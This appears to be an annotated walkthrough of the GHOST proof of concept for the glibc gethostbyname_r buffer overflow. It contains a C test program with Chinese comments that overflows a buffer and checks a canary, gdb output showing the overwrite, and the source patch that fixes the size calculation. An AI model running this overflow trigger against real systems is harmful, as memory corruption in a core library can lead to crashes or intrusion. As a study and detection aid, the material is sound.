GHOST PoC Explained

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"
//$1 = {buffer = "buffer", '\0' <repeats 1017 times>, canary = "in_the_coal_mine"}
struct {
    char buffer[1024];
    char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };//这个是将temp赋值

int main(void) {
    struct hostent resbuf;
    struct hostent *result;
    int herrno;
    int retval;

    /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
    size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;     //999 = 1024 -16*1 -2*4 -1   (char * 为指针，在32为中为4字节)
    char name[sizeof(temp.buffer)];//申请一个1024字节的char
    memset(name, '0', len);     // 向name前999字节复制'0'
    name[len] = '\0';           //第999字节为\0


    retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);//调用了这个有漏洞的方法,将name复制到buffer中

    if (strcmp(temp.canary, CANARY) != 0) {         //若canary中的值不等于in_the_coal_mine，则证明有漏洞
        puts("vulnerable");
        exit(EXIT_SUCCESS);
    }
    if (retval == ERANGE) {                         //若返回状态码为ERANGE(表示一个范围错误),则证明漏洞不存在
        puts("not vulnerable");
        exit(EXIT_SUCCESS);
    }
    puts("should not happen");
    exit(EXIT_FAILURE);
}

struct hostent {
    char  *h_name;            /* official name of host */
    char **h_aliases;         /* alias list */
    int    h_addrtype;        /* host address type */
    int    h_length;          /* length of address */
    char **h_addr_list;       /* list of addresses */
}
#define h_addr h_addr_list[0] /* for backward compatibility */

int gethostbyname_r(const char *name,
        struct hostent *ret, char *buf, size_t buflen,
        struct hostent **result, int *h_errnop);

(gdb) print temp
$1 = {buffer = "buffer", '\0' <repeats 1017 times>, canary = "in_the_coal_mine"}
(gdb) p &temp
$2 = (struct {...} *) 0x8049840

(gdb) x/1024s 0x8049840
0x8049840 <temp>:	 "buffer"
0x8049847 <temp+7>:	 ""
0x8049848 <temp+8>:	 ""
0x8049849 <temp+9>:	 ""
0x804984a <temp+10>:	 ""
0x804984b <temp+11>:	 ""
...
...
...
0x8049c3d <temp+1021>:	 ""
0x8049c3e <temp+1022>:	 ""
0x8049c3f <temp+1023>:	 ""
0x8049c40 <temp+1024>:	 "in_the_coal_mine"
0x8049c51:	 ""
0x8049c52:	 ""
0x8049c53:	 ""
0x8049c54 <completed.5699>:	 ""
0x8049c55:	 ""

(gdb) ni
(gdb) x/3s 0x8049c40
0x8049c40 <temp+1024>:	 "000"
0x8049c44 <temp+1028>:	 "he_coal_mine"
0x8049c51:	 ""

vi nss/digits_dots.c

From this:
  105:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name) + 1);

  277:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name) + 1);

To this:
  105:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name)
		+ sizeof (*h_alias_ptr) + 1);

  277:  size_needed = (sizeof (*host_addr)
		+ sizeof (*h_addr_ptrs) + strlen (name)
		+ sizeof (*h_alias_ptr) + 1);